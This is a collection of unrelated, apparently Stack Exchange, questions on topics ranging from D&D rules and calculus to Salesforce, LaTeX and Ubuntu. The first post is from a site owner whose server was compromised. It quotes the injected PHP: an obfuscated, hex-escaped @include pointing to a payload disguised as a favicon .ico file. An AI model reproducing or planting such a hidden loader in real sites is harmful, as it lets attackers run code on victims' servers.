I developed a new website which I installed in a new server and just two days ago pointed the domain to that server.   However strange things are happening now such as index.html being renamed to index.html.bak.bak and index.php is appearing.  Following code is appearing in index.php and in existing index.php new code is being added such as :  php  /6e980/  @include "\x2fh\x6fm\x65/\x732\x61n\x61l\x79t\x69c\x73/\x70u\x62l\x69c\x5fh\x74m\x6c/\x54A\x53c\x65n\x61r\x69o\x2fQ\x75e\x72y\x2ff\x61v\x69c\x6fn\x5fa\x365\x399\x65.\x69c\x6f";  /6e980/  echo file_get_contents('index.html.bak.bak');  Suddenly i observed a folder namely forum got created with a lone php file called 5w4xg.php. JQuery files are becoming blank or contains weird headers.  It is a linux server running on AWS. I think its either been hacked or has malware.  I am advised to   - Install SSL  - Website can have SiteLock () for regular scan of website files and database.  - Website can have Comodo Web Application firewall on the server which will prevent from SQL and XSS attacks.  - Install ClamAV anti virus for cPanel.  While someone is saying on install SSL, ClamAV and Wordfence.   I don't know what to do ?   I also have following ports open :  TCP 21 0.0.0.0/0  TCP 21 ::/0  TCP 22 0.0.0.0/0 TCP 25 0.0.0.0/0  TCP 25 ::/0  TCP 53 0.0.0.0/0  TCP 53 ::/0  TCP 80 0.0.0.0/0  TCP 80 ::/0  TCP 110 0.0.0.0/0  TCP 110 ::/0  TCP 143 0.0.0.0/0  TCP 143 ::/0  TCP 443 0.0.0.0/0  TCP 443 ::/0  TCP 465 0.0.0.0/0  TCP 465 ::/0  TCP 587 0.0.0.0/0  TCP 587 ::/0   I need ports only for : a) uploading files from my workplace b) connecting to MySQL db c) mail system to work  Please advice what can I do and something that's involves minimal cost.


Fix Markdown/SmartyPants in question titles

Consider this question:    Unfortunately, the question title is displayed on SO as:     is `x— > 0 && array[x]` well defined behavior in c++?   There are two issues here:   Less severe, the backticks are displayed verbatim and don’t delimit a code span. Not very nice but bearable. On the other hand, MathOverflow has this really nice math mode even in titles – why not also introduce this on SO for code? The -- operator is transformed into an em-dash. This is slightly misleading and simply unnecessary. I am all in favour of using SmartyPants (or whatever SO uses) to glam up the question title typography. But this shouldn’t go at the cost of correctness.   So I suggest allowing limited Markdown in titles (e.g. as in comments?) or at least fixing the formatting bug.


Can I drop concentration on a damaging spell before it affects an ally in combat?

If on my turn I cast a damage spell that requires concentration, can I keep it up on subsequent enemy turns then drop it before it damages an ally at the start of their turn?   For example, this is the initiative order in a round: my Wizard > Enemy Stirge > Ally Fighter. On a previous turn the Stirge has attached itself to the Fighter using Blood Drain. On my turn I cast Cloud of Daggers in the area that the Stirge and Fighter both occupy.      You fill the air with spinning daggers in a cube 5 feet on each side, centered on a point you choose within range. A creature takes 4d4 slashing damage when it enters the spell’s area for the first time on a turn or starts its turn there.    Therefore when I finish my turn, the Stirge's turn starts and immediately takes 4d4 damage killing it immediately as it has a 2 HP. Then I would like to drop my concentration immediately before the Fighter's turn so that he wouldn't take the subsequent damage.      If a spell must be maintained with concentration, that fact appears in its Duration entry, and the spell specifies how long you can concentrate on it. You can end concentration at any time (no action required).   According to the emphasised sentence in the above quote, I can drop concentration at any time, which I assume to mean even out of my turn. However the Fighter was encased in the Cloud of Daggers, so how does the spells description interact with the concentration rule here?  My understanding from a purely RAW interpretation is that the Fighter takes no damage as I can drop the concentration before the start of his turn. Can anyone confirm if I'm missing any other rules that might effect this sequence of events, as my common sense tells me the Fighter probably should take some damage by being in the cloud for a brief period of time?


I am trying to add the formula in the workflow mentioned below:  AND( ISCHANGED (Account.Name),OR( ( Account.Type  =  'Client')))    But it shows this error:     The ISCHANGED function cannot reference the Account.Name field   Basically I trying to do here is when I change the Account Name field on Contact and Account Type field on account is "Client", the Contact Owner should get an email alert.    The account name is a lookup value here. Can you suggest me a correct formula?


can anyone please help me - i'm not able to see any wifi enable option in ubuntu 14.04 and i'm not able find what the problem is ? /I don't think it depends on laptop any how mine is ASUS X550CC./ please help me.


Redirect entire site to URL with 302 - All URLs to 1 URL

What i want to do is redirect an entire forum temporarily to a Twitter Page.  However anything i've tried hasnt worked.   If they visit for example site.com/Forum it will send them to twitter.com/ourpageForum  How do i just redirect them to twitter.com/ourpage with a 302 no matter what Forum URL they visit?  Thanks


Question on the correlation between two dependent variables

I'm working on this question and it's stumping me.     Let $S_n = X_1 + \ldots + X_n$ (with $n>=1$) be a random walk with $X_1, \ldots, X_n$ be iid RV's.   $$ E(X_k)=\mu,\,{\rm Var}(X_k)=\sigma^2.  $$   Find the covariance of $S_n$ and $S_m$   Can anyone help out? I am trying to use the equation: $${\rm Cov}[S_n, S_m] = E[S_nS_m] - E[S_n]E[S_m]$$  but can't quite figure it out.


I know the Taylor Series are infinite sums that represent some functions like $\sin(x)$. But it has always made me wonder how they were derived? How is something like $$\sin(x)=\sum\limits_{n=0}^\infty \dfrac{x^{2n+1}}{(2n+1)!}\cdot(-1)^n = x-\dfrac{x^3}{3!}+\dfrac{x^5}{5!}-\dfrac{x^7}{7!}\pm\dots$$ derived, and how are they used? Thanks in advance for your answer.


How is the forced Windows 10 upgrade installed when the planned installation day is reached?

A friend has a Windows 7 computer and at every boot the Windows 10 upgrade tool asked to install Windows 10. My friend doesn't want Windows 10 at all and hence she dismissed this popup. The upgrade tool has then planned the automatic upgrade to April 29th (two days ago). Since then, the computer hasn't been booted yet.  The installation files for Windows 10 may have already been downloaded on the disk and are waiting for being installed.  What happens when she boots her computer? Will Windows 10 be installed right during boot or can she still intervene, e.g. "Upgrade to Windos 10 now?" -> "Cancel!" ?  Edit:  I would not consider my question a duplicate of this linked question.    It does not specifically answer the question, whether the upgrade will happen directly during the next boot of Windows 7. If it does, the solution in the linked question is not applicable.  Please also see this article on microsoft.com:   It states, that if a user cancels the upgrade dialog, the upgrade will happen at the scheduled time.


Wrapping a command that includes single and double quotes for another command

I recently learned about , but am having trouble making it work with relatively sophisticated commands. For example, I would like to ask watch to run the following command on zsh every three seconds*: for x in `command_1 | grep keyword | cut -d' ' -f1`; do command_2 "word[word=number]" $x; done  as you can see the line above includes single quotes, double quotes, among other special characters. So I tried: watch -n 3 "for x in `my_command | grep keyword | cut -d' ' -f1`; do command2 "rusage[mem=7000]" $x; done"  but then I got:  no matches found for x in !@#$# ....; done  I tried other combinations without success. Here's one of those attempts: watch -n 3 "for x in $(bjobs -w | grep pre_seg | cut -d' ' -f1); do bmod -R "rusage[mem=7000]" $x; done"  which also results in a similar error. Any ideas how to make this work?  *I would also be intersted in solutions that work on bash


USB drive unusable and reporting 0 bytes capacity

I had a problem with my USB drive. When i plug it in windows 7, what happens is when I click on USB the message "Please insert a disk into drive X:". The drive properties show:  Type: Removable Disk File system: Unknown Used space 0 bytes Free space 0 bytes Capacity 0 bytes  I usually remove it without 'ejecting' or 'safely removing' it, can this be related? How can I solve this problem?


When a star ship is traveling at warp 9.999, how can it quickly maneuver out of the way of planets? Since this is pretty dang fast, how far do sensors have to reach out ahead at that speed to help them maneuver without colliding with a planet, meteor or star?


A rather simple question I suppose, however I have not seen a discussion on this topic on stackexchange as of yet. In fact, when I was in high school I once used the following 'proof' to prove to my teacher that $1.9999... = 2$, where the dots indicate an 'infinite' number of decimal $9$'s:  $$x = 1.99999...$$  $$10x = 19.9999...$$  $$9x = 19.9999... - 1.9999... = 18$$  $$x = 2$$  $$1.9999... = 2$$  My teacher, who has a Masters degree in Mathematics in university, then told me that infinity is a tricky concept in mathematics and that this needn't work the way it seems to. Now, many many years later, being an econometrics student myself, I have found myself thinking about this 'proof'. To me, it seems that claiming a number to have an 'infinite' number of decimal $9$'s is faulty in itself; it would be much more logical to state that the number of $9$'s approaches infinity and as a result, that $1.9999...$ is asymptotically equal to $2$, but not equal to $2$.   However, when Googling this question I am overwhelmed with the number of results where people claim that it is in fact exactly, literally, equal: that $1.9999... = 2$ is undisputably true. As a result I am now unsure whether it is or is not true.   Thus, is $1.9999... = 2$?


How is $\int f(x) dx$ different from $\int_0^x f(t)dt$?

Something niggling at me from way back. Is our definition of an antiderivative $\int f(x)dx = F(x)$ (such that $F'(x) = f(x)$) different in any way from the definite integral with variable limits, i.e. the function $f(x) = \int_0^x f(t)dt$ ?  It seems that I can think of them both as operators which take in a function and give back a function. Doesn't the Fundamental Theorem of Calculus then give us that $\frac{d}{dx}\int f(x)dx = f(x)$?  This came up because  says, of the FTC  $$\int_a^b = f(x)dx = F(a) - F(b)$$  that, "This result, while taught early in elementary calculus courses, is actually a very deep result connecting the purely algebraic indefinite integral and the purely analytic (or geometric) definite integral."  I suppose my question is: why do we need these two distinct concepts, the algebraic and the geometric? Why can't we get by with only definite integrals?


I have asked this question before, but it was closed as a "duplicate." I can assure you that my scenario is original, as it does not refer to third party PPA's. I am having GPG problems with system updates. It says there is no public key available, and I have also been warned that my update information is outdated. Here's the terminal text:  W: A error occurred during the signature verification. The repository is not updated and the previous index files will be used. GPG error:http://extras.ubuntu.com quantal Release:  The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 16126D3A3E5C1192  W: GPG error: http:// archive.canonical.com quantal Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32 W: GPG error: http:// us.archive.ubuntu.com quantal Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32 W: GPG error: http:// us.archive.ubuntu.com quantal-updates Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32 W: GPG error: http:// us.archive.ubuntu.com quantal-backports Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32 W: GPG error: http:// us.archive.ubuntu.com quantal-security Release: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32 W: Failed to fetch http:// extras.ubuntu.com/ubuntu/dists/quantal/Release  W: Some index files failed to download. They have been ignored, or old ones used instead.   I have put spaces in the urls because new users are not allowed more than two hyperlinks per question.  Please don't just close this as a duplicate. It does not refer to third party PPA's, it refers to the standard update packages issued by Canonical.


What happens when I can no longer find authors of a paper that I am submitting?

What is the standard practice if I can no longer find students that contributed to a paper that we would like to publish now? The students contributed data, but obviously had nothing to do with writing the paper. Still, I feel that they deserve authorship. I can no longer find a current email address for them. Should I put them only in the acknowledgements section?


Never seen a using statement in code used like this

I find that it helps to download source code to see how things work. I did that with MVCForum, and when viewing the source code noticed a using statement as follows:  using MembershipCreateStatus = MVCForum.Domain.DomainModel.MembershipCreateStatus;   The MembershipCreateStatus is an enum and is used in different parts of the code as such.  if (createStatus != MembershipCreateStatus.Success)   Can someone explain why it would be done this way as I have never seen this before. Is it easier to do it this way rather than initialize the class?  *************Update*************  Thanks for the answers, sorry it was a duplicate but if I new about alias I would have search for that not "Using Statements"  I understand the use now.


I have an account A10 its parent Id is A9 further A9 has parentId A8 and it goes on and on say upto A1. Is there any way to get all the parent accounts ?  A10 -> A9 -> A8 -> A7 -> A6 -> A5 -> A4 -> A3 -> A2 -> A1  public class childs {     public id accId{get;set;}     public String ids;     public childs()     {          for(Account acc : [Select id, name, parentId From Account where Id ='0012800000krmWZ'])         {             ids = ids + ' : '  +acc.parentId;             while(accId != null)             {                 accId = acc.parentId;             }         }     } }   Updates   <apex:selectList value="{!accId}" size="1" style="margin: 10px;">                  <apex:selectOptions value="{!allAccounts}"/>                 <apex:actionSupport action="{!clearList}" event="onchange" rerender="pb, pm" />                ----------- {!idList}             </apex:selectList>  public void clearList() {     idList.clear();     fetchParentRecord(); }  public void fetchParentRecord() {   /*  if(i==0)         idList.clear();         i++;*/     List<Account> lstAccount = [SELECT ParentId, parent.name, Id FROM Account WHERE Id =: accId];     if(!lstAccount.isEmpty())     {         idList.add(lstAccount[0].parent.name);         accId = lstAccount[0].parentId;         system.debug('######'+idList);         fetchParentRecord();        // if(accId == null || accId == '')          //   i=0;     } }


I want to split the subfigure in figure into two pages. My first page is just contain two paragraph and after it, has empty spaces. So I want to split the figure into two pages. I try to give \ContinuedFloat and it doesn't work. \documentclass[twoside,12pt]{article} \usepackage{graphicx} \usepackage{caption} \usepackage{subcaption} \usepackage{amsmath} \usepackage{lipsum}  \begin{document}     \lipsum[1-2]     \begin{figure}[htbp]     \centering      \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2a}     \end{subfigure}\hfil     \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2b}     \end{subfigure}\hfil     \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2c}     \end{subfigure}      \medskip     \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2d}     \end{subfigure}\hfil      \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2e}     \end{subfigure}\hfil     \begin{subfigure}{0.25\textwidth}         \includegraphics[width=3cm,height=3cm]{example-image}         \subcaption{}         \label{2f}     \end{subfigure}      \medskip \begin{subfigure}{0.25\textwidth}\ContinuedFloat     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2g} \end{subfigure}\hfil  \begin{subfigure}{0.25\textwidth}     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2h} \end{subfigure}\hfil \begin{subfigure}{0.25\textwidth}     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2i} \end{subfigure}      \medskip \begin{subfigure}{0.25\textwidth}     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2j} \end{subfigure}\hfil % <-- added \begin{subfigure}{0.25\textwidth}     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2k} \end{subfigure}\hfil % <-- added \begin{subfigure}{0.25\textwidth}     \includegraphics[width=3cm,height=3cm]{example-image}     \subcaption{}     \label{2l} \end{subfigure}      \caption{Manually Segmentation Tomatoes leaves.  (\subref{2a})-(\subref{2f}) healthy  leaves for $1^{\text{st}}$ data until $6^{\text{th}}$ data. (\subref{2g})-(\subref{2l}) leaves infected by disease for $1^{\text{st}}$ data until $6^{\text{th}}$ data.}     \label{Gambar2} \end{figure} \end{document}  The result is The first page:  The second page:  I want: The first page is  And the second page is  Anyone can help me?


'It has rained for two hours.' Is it raining now? or It stoped raining now?

In our country we don't have present perfect form, so it is difficult for us to understand 'present perfect' exactly.  ex)  It has rained for two hours.  In this sentence Is it raining now? or It stopped raining now?